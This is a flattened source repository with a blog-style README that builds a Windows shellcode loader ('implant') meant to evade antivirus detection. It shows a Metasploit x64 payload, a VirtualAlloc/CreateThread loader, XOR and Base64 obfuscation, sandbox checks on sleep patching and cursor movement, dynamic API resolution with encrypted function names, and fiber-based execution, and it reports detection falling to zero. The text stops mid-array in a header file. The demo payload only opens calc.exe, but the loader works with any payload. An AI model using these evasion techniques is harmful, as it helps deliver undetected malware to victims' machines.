├── .gitignore ├── LICENSE ├── README.md ├── headers ├── definitons.h ├── obfuscators.h └── sandbox.h ├── implant.cpp ├── scripts └── obfuscator.py └── translate.txt /.gitignore: -------------------------------------------------------------------------------- 1 | # Prerequisites 2 | *.d 3 | 4 | # Compiled Object files 5 | *.slo 6 | *.lo 7 | *.o 8 | *.obj 9 | 10 | # Precompiled Headers 11 | *.gch 12 | *.pch 13 | 14 | # Compiled Dynamic libraries 15 | *.so 16 | *.dylib 17 | *.dll 18 | 19 | # Fortran module files 20 | *.mod 21 | *.smod 22 | 23 | # Compiled Static libraries 24 | *.lai 25 | *.la 26 | *.a 27 | *.lib 28 | 29 | # Executables 30 | *.exe 31 | *.out 32 | *.app 33 | 34 | # Exectable Directory 35 | executables 36 | 37 | # test files 38 | test* -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. 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Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # A Study in Obfuscation 2 | 3 | In this blog series, we explore how to obfuscate a Metasploit payload to avoid detection by Antivirus Engines and shall try to go invisible. 4 | 5 | We would employ known techniques and see how they affect detection rates uploading the compiled executable to [AntiScan](https://antiscan.me/) as it does not submit the samples to the vendors. 6 | 7 | ## Environment Setup 8 | To begin with, we would be needing some tools and setup to get started. The first thing is the unobfuscated shellcode we'll be using: 9 | 10 | ```bash 11 | RAW_PAYLOAD = [ 12 | 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 13 | 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 14 | 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 15 | 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 16 | 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 17 | 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 18 | 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 19 | 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 20 | 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 21 | 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 22 | 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 23 | 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 24 | 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 25 | 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 26 | 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 27 | 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 28 | 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 29 | 0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 30 | 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 31 | 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 32 | 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 33 | 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 34 | 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00 35 | ] 36 | ``` 37 | 38 | This will be our base from where we start. The raw, untampered shellcode is placed in `scripts/obfuscator.py`. The python file describes a class `Obfuscator` which takes our shell code and obfuscates it to various levels which is used as the payload in `implant.cpp` 39 | 40 | Next up, we need to set up our development environment. For this, we need to install [Visual Studio's C/C++ Development Tools](https://visualstudio.microsoft.com/vs/features/cplusplus/). 41 | 42 | Once that is done, we can bring up any IDE of our choice and jump straight to coding. However, if you are using Visual Studio Code, I highly recommend having `x64 Native Tools Command Prompt` as your default. One way of doing is to add the full path to `VsDevCmd.bat` to VS Code's `settings.json` file as such: 43 | 44 | ```json 45 | { 46 | 47 |     "workbench.colorTheme": "Default Dark+", 48 |     "terminal.integrated.shell.windows": "cmd.exe", 49 |     "terminal.integrated.shellArgs.windows": [ 50 |         "/k", "C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\Build\vcvarsall.bat", "x64" 51 |     ], 52 |     "terminal.integrated.automationShell.windows": null, 53 |     "explorer.confirmDelete": false, 54 | } 55 | ``` 56 | 57 | ## Level 0 - The Raw Shell Code 58 | 59 | To begin with, we write a program to execute our shell code with the help of a program as such: 60 | 61 | ```cpp 62 | /// Compile With: 63 | /// cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:executables\level0.exe /SUBSYSTEM:CONSOLE /MACHINE:x64 64 | #include 65 | #include 66 | #include 67 | #include 68 | 69 | 70 | // Payload String - Level0 71 | unsigned char payload[] = { 72 | 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 73 | 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 74 | 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 75 | 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 76 | 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 77 | 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 78 | 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 79 | 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 80 | 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 81 | 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 82 | 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 83 | 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 84 | 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 85 | 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 86 | 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 87 | 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 88 | 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 89 | 0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 90 | 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 91 | 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 92 | 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 93 | 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 94 | 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00 95 | }; 96 | 97 | // Length of payload array 98 | unsigned int payload_len = (unsigned int)(sizeof(payload)/sizeof(payload[0])); 99 | 100 | 101 | /// Main Function 102 | /// 103 | /// Returns 104 | /// 0 - OK 105 | /// -1 - VirtualAlloc() failed 106 | /// -2 - VirtualProtect() failed 107 | /// -3 - CreateThread() failed 108 | /// -4 - WaitForSingleObject() failed 109 | int main(void){ 110 | BOOL rv; 111 | HANDLE th; 112 | DWORD _event = 0; 113 | void * exec_mem; 114 | DWORD oldprotect = 0; 115 | 116 | // Allocate a memory buffer for payload 117 | exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 118 | if (exec_mem == NULL){ 119 | // fprintf(stderr, "VirtualAlloc Failed with error code: %d\n", GetLastError()); 120 | return -1; 121 | } 122 | 123 | // Copy payload to new buffer 124 | RtlMoveMemory(exec_mem, payload, payload_len); 125 | 126 | // Make new buffer as executable 127 | rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect); 128 | if ( rv == 0 ) { 129 | // fprintf(stderr, "VirtualProtect Failed with error code: %d\n", GetLastError()); 130 | return -2; 131 | } 132 | 133 | // Create Thread To run shellcode 134 | th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0); 135 | if (th == NULL){ 136 | // fprintf(stderr, "CreateThread Failed with error code: %d\n", GetLastError()); 137 | return -3; 138 | } 139 | 140 | _event = WaitForSingleObject(th, -1); 141 | if(_event == WAIT_FAILED){ 142 | // fprintf(stderr, "WaitForSingleObject Failed with error code: %d\n", GetLastError()); 143 | return -4; 144 | } 145 | 146 | return 0; 147 | } 148 | ``` 149 | 150 | The program basically takes the payload generated by Metasploit, creates a memory region with **Read** and **Write** permissions to hold the same, followed by changing the permissions of the region to **Read** and **Execute** before finally creating a thread to execute it. 151 | 152 | The above program can be compiled with: 153 | ```bash 154 | cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:level0.exe /SUBSYSTEM:CONSOLE /MACHINE:x6 155 | ``` 156 | 157 | This should create a `level0.exe` executable file in the current directory which, when run, pops up the `calc.exe` program. 158 | 159 | ### Antiscan Analysis 160 | We see that most AV engines flag the binary and rightfully so because it barely contains any obfuscation and Metasploit payloads have well-defined signatures at this point. 161 | 162 | [**Antiscan Score: 13/26**](https://antiscan.me/scan/new/result?id=0HTHHCYEJBjq) 163 | 164 | ![Level0 Analysis](https://antiscan.me/images/result/0HTHHCYEJBjq.png) 165 | 166 | ## Level 1 - XOR it! 167 | 168 | The next thing we do is try to try be a little sneaky and encrypt the payload using the simplest encryption technique out there: XOR'ing it. 169 | 170 | With our payload from Level0, any dumb stupid AV engine can just run a simple signature check or even use something like the `strings` command to know that the executable hence produced is major sus. [It would be kinda worrying if it didn't flag this simple thing] 171 | 172 | Now coming back to XOR, we would first need a key to encrypt stuff with. For this, I chose a string which was already present in the Level0 executable so as to not arouse any suspicion. 173 | 174 | We can then obtain the encrypted string from our `obfuscator.py` script using `Obsfucator.level1()`. As for the executable code, just for the sake of readibilty we add a header file `headers/obfuscators.h` which contains the `XOR` function: 175 | 176 | ```c 177 | #include 178 | #include 179 | #include 180 | 181 | // XOR two strings 182 | void XOR(unsigned char * payload, unsigned int payload_len, const char * xor_key, unsigned int xor_key_len){ 183 | int j; 184 | 185 | j = 0; 186 | for (int i = 0; i < payload_len; i++) { 187 | if (j == xor_key_len) j = 0; 188 | 189 | payload[i] = payload[i] ^ xor_key[j]; 190 | j++; 191 | } 192 | } 193 | 194 | ``` 195 | 196 | And then, we call the `XOR()` function right before copying the payload to the target memory address. 197 | 198 | ```c 199 | ... 200 | ... 201 | XOR(payload, payload_len, XOR_KEY, xor_key_len); 202 | 203 | // Copy payload to new buffer 204 | RtlMoveMemory(exec_mem, payload, payload_len); 205 | ... 206 | ... 207 | ``` 208 | 209 | Finally, we compile it with: 210 | 211 | ``` 212 | cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /I "headers" /link /OUT:executables\level0.exe /SUBSYSTEM:CONSOLE /MACHINE:x64 213 | ``` 214 | 215 | ### Antiscan Analysis 216 | 217 | The encryprion does bring down the detection rates a bittle but still, there are ways to go :) 218 | 219 | [**Antiscan Score: 9/26**](https://antiscan.me/scan/new/result?id=6huOmULlMd25) 220 | 221 | ![Level1 Analysis](https://antiscan.me/images/result/6huOmULlMd25.png) 222 | 223 | ## Level 2 - Sleep Patching Sandbox 224 | 225 | Taking a short detour from the usual from playing with the shell code, we try and implement some sandbox detection techiniques, starting off with ***"Sleep Patching Sandboxes"***. Accoring to [ICASA](www.isaca.org): 226 | 227 | > “Sleep Patching Sandboxes will patch the sleep function to try to outmaneuver malware that uses time delays. In response, malware will check to see if time was accelerated. Malware will get the timestamp, go to sleep and then again get the timestamp when it wakes up. The time difference between the timestamps should be the same duration as the amount of time the malware was programmed to sleep. If not, then the malware knows it is running in an environment that is patching the sleep function, which would only happen in a sandbox.” 228 | 229 | Thus to bypass this, we implement the following function in `sandbox.h` to check for accelerated time: 230 | 231 | ```c 232 | /// User defined PPDs 233 | #define L_INTERVAL 950 // Lower Time Limit 234 | #define INTERVAL 1000 // Mean Time Limit 235 | #define U_INTERVAL 1050 // Upper Time Limit 236 | 237 | int __check_sleep_patch(){ 238 | DWORD startCount = GetTickCount(); 239 | Sleep(INTERVAL); 240 | DWORD endCount = GetTickCount(); 241 | 242 | DWORD timeSpan = endCount - startCount; 243 | if ((L_INTERVAL > timeSpan) && (timeSpan > U_INTERVAL)){ 244 | return -1; 245 | } 246 | 247 | return 0; 248 | } 249 | ``` 250 | 251 | Thus if the sandbox is accelerating time, then the `timeSpan` value wouldn't be in the range `L_INTERVAL` and `U_INTERVAL`, hence signifying that the program is running in a sandbox, thereby prompting the program to exit without executing any shellcode in order to avoid detection. 252 | 253 | The program is compiled with: 254 | ```c 255 | cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /I "headers" /link /OUT:executables\level2.exe /SUBSYSTEM:CONSOLE /MACHINE:x64 256 | ``` 257 | 258 | ### Antiscan Analysis 259 | 260 | Okay, so this did not help much with the detection rates, rather it increased the detection rate. However, we will give it the benefit of doubt and assume that there are some false positives. Another possible explanation might be the fact that some AV engines are flagging the signature for the function. Nevertheless, we keep it in our program and try to optimize it in the future. 261 | 262 | [**Antiscan Score: 11/26**](https://antiscan.me/scan/new/result?id=qG7jq02xPNF9) 263 | 264 | ![Level2 Analysis](https://antiscan.me/images/result/qG7jq02xPNF9.png) 265 | 266 | ## Level 3 - Where is the cursor? 267 | 268 | Again, instead of tampering with the shellcode itself, we are employing some more sandbox detection techniques. This time, we are monitoring for User Input, which in this case, is the cursor movement as such: 269 | ```c 270 | int __check_cursor_activity(){ 271 | int __infinity_loop = 0; 272 | POINT p1, p2; 273 | BOOL res1, res2; 274 | HDESK desktop_handle; 275 | 276 | // Switch to input desktop if different from current one 277 | desktop_handle = OpenInputDesktop(0, TRUE, GENERIC_READ); 278 | SetThreadDesktop(desktop_handle); 279 | 280 | 281 | // The GetCurorPos() can fail at times so just retry it 5 times and 282 | // if it still fails, then exit out with an error code 283 | while(1){ 284 | res1 = GetCursorPos(&p1); 285 | if (res1) break; 286 | Sleep(INTERVAL); 287 | __infinity_loop += 1; 288 | if (__infinity_loop == 5) return FALSE; 289 | } 290 | __infinity_loop = 0; 291 | Sleep(INTERVAL*10); 292 | 293 | while(1){ 294 | res2 = GetCursorPos(&p2); 295 | if (res2) break; 296 | Sleep(INTERVAL); 297 | __infinity_loop += 1; 298 | if (__infinity_loop == 5) return FALSE; 299 | } 300 | 301 | if (res1 && res2){ 302 | if (p1.x==p2.x || p1.y == p2.y || ((p1.x-p2.x)==(p1.y-p2.y))){ 303 | return FALSE; 304 | } 305 | else { 306 | return TRUE; 307 | } 308 | } 309 | else{ 310 | return FALSE; 311 | } 312 | 313 | } 314 | 315 | ``` 316 | 317 | We are keeping a track of the Cursor position. If the cursor doesn't move for a while then we exit out of the program without running any of that suspicious shell code. 318 | 319 | 320 | ### Antiscan Analysis 321 | 322 | This seemed to have drastically bring down the detection scores. Thats's a huge improvement considering the barely tampered with payload. 323 | 324 | [**Antiscan Score: 8/26**](https://antiscan.me/scan/new/result?id=iyKaH5ChMD18) 325 | 326 | ![Level3 Analysis](https://antiscan.me/images/result/iyKaH5ChMD18.png) 327 | 328 | 329 | ## Level 4 - Going Bases 330 | 331 | Next up, we try to encode our payload using the good ol' **Base64** encoding technique to mask our payload a tad bit more. We generate the Base64 encoded payload using `Obfuscator.level2()` which does everything upto `Obfuscator.level1()` plus base64 encodes the whole thing. This is just one step out many more which we can employ to add an extra layer of obfuscation to our payload 332 | 333 | ### Antiscan Analysis 334 | 335 | This doesn't really have such an adverse effect on the detection rates. However, any obfuscation is a plus in the end. 336 | 337 | [**Antiscan Score: 6/26**](https://antiscan.me/scan/new/result?id=YkOZYbkCWBnr) 338 | 339 | ![Level4 Analysis](https://antiscan.me/images/result/YkOZYbkCWBnr.png) 340 | 341 | ## Level 5 - Where did the functions go? 342 | 343 | One of the methods AV engines flag malicious programs is by looking at the various functions they call at runtime as well as by using methods like `string` analysis. So what if we could just do away with that? We achieve this using two methods: 344 | 345 | - By replacing our easy-to-read function names with more sinister(i.e, random) ones. The `translate.txt` file corelates the original functions with the translated ones 346 | - As for native windows functions, instead of directly calling them, we first obtain the handle to the corresponding system DLL and use the `GetProcAddress()` function to retrieve the address of the corresponding function. To add to the obfuscation, we also XOR the string arguments passed to the function so as to not leave any trace behind. For example, we obfuscate `VirtualAlloc()` as such: 347 | ```c 348 | /// In definitions.h 349 | // The function signature 350 | LPVOID (WINAPI * _VirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); 351 | .... 352 | // Typedef 353 | typedef LPVOID (__stdcall * __type_virtualalloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); 354 | .... 355 | // XOR Encrypted function name 356 | unsigned char __virtualalloc[] = {0x17, 0x2b, 0x31, 0x30, 0x30, 0x27, 0x2b, 0x09, 0x25, 0x26, 0x24, 0x2f, 0x00 }; 357 | ..... 358 | ``` 359 | ```c 360 | /// In obfuscators.h 361 | // Decrypting XOR'd function name 362 | boUpJkYnxh29(__virtualalloc); 363 | // Getting handle to the function and appropriately typecasting it 364 | _VirtualAlloc = (__type_virtualalloc)GetProcAddress(_kernel32, (LPCSTR)__virtualalloc); 365 | // Manage Error 366 | if (_VirtualAlloc == NULL){ 367 | // fprintf(stderr, "Could not find VirtualAlloc in kernel32.dll\n"); 368 | return -10; 369 | } 370 | ``` 371 | ```c 372 | /// In implant.cpp 373 | // Allocate a memory buffer for payload using new function 374 | exec_mem = _VirtualAlloc(0, decoded_data_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 375 | if (exec_mem == NULL){ 376 | // fprintf(stderr, "VirtualAlloc Failed with error code: %d\n", GetLastError()); 377 | return -1; 378 | } 379 | ``` 380 | 381 | Once compiled, we can run `strings` from SysInternals to actually examine the resulting binary and notice that all the system function names previously being reflected in the output of the command are now gone. 382 | 383 | ### Antiscan Analysis 384 | 385 | Adopting this, the analysis seems to be further lowered, bringing us even closer to zero detection 386 | 387 | [**Antiscan Score: 1/26**](https://antiscan.me/scan/new/result?id=M2xQpE6PZckd) 388 | 389 | ![Level5 Analysis](https://antiscan.me/images/result/M2xQpE6PZckd.png) 390 | 391 | ## Level 6 - Get your Fibers in! 392 | 393 | Finally, we try alternative methods to execute shell code using [Fibers](https://docs.microsoft.com/en-us/windows/win32/procthread/fibers), which is the minimal execution unit of a modern operating system. We convert the main thread running the program into a `Fiber` amd then create a new one from it and switch to the context of the newly created Fiber, much like what we used to do with threads. 394 | 395 | ```c 396 | /// In `implant.cpp` 397 | .... 398 | // Convert main Thread to fiber 399 | th = _ConvertThreadToFiber(NULL); 400 | if(th == NULL){ 401 | // fprintf(stderr, "ConvertThreadToFiber failed!\n"); 402 | return -3; 403 | } 404 | .... 405 | fiber = _CreateFiber(0, (LPFIBER_START_ROUTINE)exec_mem, NULL); 406 | if (fiber == NULL){ 407 | // fprintf(stderr, "CreateFiber Failed with error code: %d\n", GetLastError()); 408 | return -4; 409 | } 410 | 411 | _SwitchToFiber(fiber); 412 | .... 413 | ``` 414 | 415 | Compiling with the usual intructions gives us our final executable. 416 | 417 | ### Antiscan Analysis 418 | 419 | This seems to do wonders as it brings the detection rates to zero(atleast at the time of writing this) and I guess we can say that we now have an undetectable sus-looking-program running our shellcode. 420 | 421 | [**Antiscan Score: 0/26**](https://antiscan.me/scan/new/result?id=QEqWv42rdLiY) 422 | 423 | ![Level6 Analysis](https://antiscan.me/images/result/QEqWv42rdLiY.png) 424 | -------------------------------------------------------------------------------- /headers/definitons.h: -------------------------------------------------------------------------------- 1 | /// This files contains all relevant definitions, PPDs and Globals 2 | #include 3 | #pragma once 4 | 5 | /// User defined PPDs 6 | #define L_INTERVAL 950 // Lower Time Limit 7 | #define INTERVAL 1000 // Mean Time Limit 8 | #define U_INTERVAL 1050 // Upper Time Limit 9 | 10 | /// Globals 11 | // Handles to DLLs 12 | HMODULE _kernel32, _user32, _crypt32; 13 | // XOR Payload key 14 | const char XOR_KEY[] = "abcdefghijklmnopqrstuvwxyz"; 15 | // Length of XOR key 16 | unsigned int xor_key_len = (int)(sizeof(XOR_KEY)/sizeof(XOR_KEY[0]))-1; 17 | // XOR Function Key 18 | const char XOR_FUNC_KEY[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; 19 | // Length of XOR Func key 20 | unsigned int xor_func_key_len = (int)(sizeof(XOR_KEY)/sizeof(XOR_KEY[0]))-1; 21 | 22 | /// WinAPI function signatures 23 | BOOL (WINAPI * _GetTickCount)(); 24 | void (WINAPI * _Sleep)(DWORD dwMilliseconds); 25 | HDESK (WINAPI * _OpenInputDesktop)(DWORD dwFlags, BOOL fInherit, ACCESS_MASK dwDesiredAccess); 26 | BOOL (WINAPI * _SetThreadDesktop)(HDESK hDesktop); 27 | BOOL (WINAPI * _GetCursorPos)(LPPOINT lpPoint); 28 | BOOL (WINAPI * _CryptStringToBinaryA)(LPCSTR pszString, DWORD cchString, DWORD dwFlags, BYTE *pbBinary, DWORD *pcbBinary, DWORD *pdwSkip, DWORD *pdwFlags); 29 | LPVOID (WINAPI * _VirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); 30 | BOOL (WINAPI * _VirtualProtect)(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); 31 | LPVOID (WINAPI * _ConvertThreadToFiber)(LPVOID lpParameter); 32 | LPVOID (WINAPI * _CreateFiber)(SIZE_T dwStackSize, LPFIBER_START_ROUTINE lpStartAddress, LPVOID lpParameter); 33 | void (WINAPI * _SwitchToFiber)(LPVOID lpFiber); 34 | 35 | 36 | /// Typedefs 37 | typedef BOOL (__stdcall * __type_gettickcount)(); 38 | typedef void (__stdcall * __type_sleep)(DWORD dwMilliseconds); 39 | typedef HDESK (__stdcall * __type_openinputdesktop)(DWORD dwFlags, BOOL fInherit, ACCESS_MASK dwDesiredAccess); 40 | typedef BOOL (__stdcall * __type_setthreaddesktop)(HDESK hDesktop); 41 | typedef BOOL (__stdcall * __type_getcursorpos)(LPPOINT lpPoint); 42 | typedef BOOL (__stdcall * __type_cryptstringtobinarya)(LPCSTR pszString, DWORD cchString, DWORD dwFlags, BYTE *pbBinary, DWORD *pcbBinary, DWORD *pdwSkip, DWORD *pdwFlags); 43 | typedef LPVOID (__stdcall * __type_virtualalloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); 44 | typedef BOOL (__stdcall * __type_virtualprotect)(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); 45 | typedef LPVOID (__stdcall * __type_convertthreadtofiber)(LPVOID lpParameter); 46 | typedef LPVOID (__stdcall * __type_createfiber)(SIZE_T dwStackSize, LPFIBER_START_ROUTINE lpStartAddress, LPVOID lpParameter); 47 | typedef void (__stdcall * __type_switchtofiber)(LPVOID lpFiber); 48 | 49 | 50 | /// Encrypted WinAPI function names 51 | /// Use xor_func_name() function from `scripts/obfuscator.py` 52 | unsigned char __gettickcount[] = {0x06, 0x27, 0x37, 0x10, 0x2c, 0x25, 0x2c, 0x0b, 0x26, 0x3f, 0x25, 0x38, 0x0}; 53 | unsigned char __sleep[] = {0x12, 0x2e, 0x26, 0x21, 0x35, 0x00}; 54 | unsigned char __openinputdesktop[] = {0x0e, 0x32, 0x26, 0x2a, 0x0c, 0x28, 0x37, 0x3d, 0x3d, 0x0e, 0x2e, 0x3f, 0x26, 0x3a, 0x20, 0x20, 0x00}; 55 | unsigned char __setthreaddesktop[] = {0x12, 0x27, 0x37, 0x10, 0x2d, 0x34, 0x22, 0x29, 0x2d, 0x0e, 0x2e, 0x3f, 0x26, 0x3a, 0x20, 0x20, 0x00}; 56 | unsigned char __getcursorpos[] = {0x06, 0x27, 0x37, 0x07, 0x30, 0x34, 0x34, 0x27, 0x3b, 0x1a, 0x24, 0x3f, 0x00 }; 57 | unsigned char __cryptstringtobinarya[] = {0x02, 0x30, 0x3a, 0x34, 0x31, 0x15, 0x33, 0x3a, 0x20, 0x24, 0x2c, 0x18, 0x22, 0x0c, 0x26, 0x3e, 0x30, 0x20, 0x2a, 0x15, 0x00 }; 58 | unsigned char __virtualalloc[] = {0x17, 0x2b, 0x31, 0x30, 0x30, 0x27, 0x2b, 0x09, 0x25, 0x26, 0x24, 0x2f, 0x00 }; 59 | unsigned char __virtualprotect[] = {0x17, 0x2b, 0x31, 0x30, 0x30, 0x27, 0x2b, 0x18, 0x3b, 0x25, 0x3f, 0x29, 0x2e, 0x3a, 0x00 }; 60 | unsigned char __convertthreadtofiber[] = {0x02, 0x2d, 0x2d, 0x32, 0x20, 0x34, 0x33, 0x1c, 0x21, 0x38, 0x2e, 